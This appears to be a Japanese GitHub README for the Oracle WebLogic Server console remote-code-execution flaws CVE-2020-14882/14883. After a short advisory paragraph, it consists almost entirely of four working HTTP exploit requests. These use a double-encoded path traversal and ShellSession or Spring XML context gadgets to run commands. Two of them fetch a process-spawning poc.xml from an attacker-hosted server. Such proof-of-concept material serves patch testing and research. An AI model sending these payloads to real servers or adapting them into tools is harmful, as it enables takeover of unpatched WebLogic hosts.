murataydemir/cve-2020-14883[CVE-2020-14882] Oracle WebLogic Server 認証済みリモートコード実行 (RCE)
[CVE-2020-14883] Oracle WebLogic Server の認証済みリモートコード実行 (RCE)
Oracle Fusion Middleware の Oracle WebLogic Server 製品における脆弱性（コンポーネント：Console）。影響を受けるサポート対象バージョンは 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0 です。HTTP を介してネットワークアクセスを持つ未認証の攻撃者が容易に悪用可能な脆弱性により、Oracle WebLogic Server を侵害される可能性があります。この脆弱性の攻撃が成功すると、Oracle WebLogic Server の乗っ取りに至る可能性があります。
Proof of Concept (PoC) 1: Windows ベースのターゲット向けに tangosol.coherence.mvel2.sh.ShellSession() を使用
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('calc.exe');");
Proof of Concept (PoC) 2: Linux ベースのターゲット向けに tangosol.coherence.mvel2.sh.ShellSession() を使用
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/CVE-2020-14883.txt');")
Proof of Concept (PoC) 3: Windows ベースのターゲット向けに com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext を使用
poc.xml ファイルの内容
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value>
<![CDATA[calc]]>
</value>
</list>
</constructor-arg>
</bean>
</beans>
python3 -m http.server 7575 として実行POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://yourserver:7575/poc.xml")
Proof of Concept (PoC) 4: Windows ベースのターゲット向けに com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext を使用
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://yourserver:7575/poc.xml")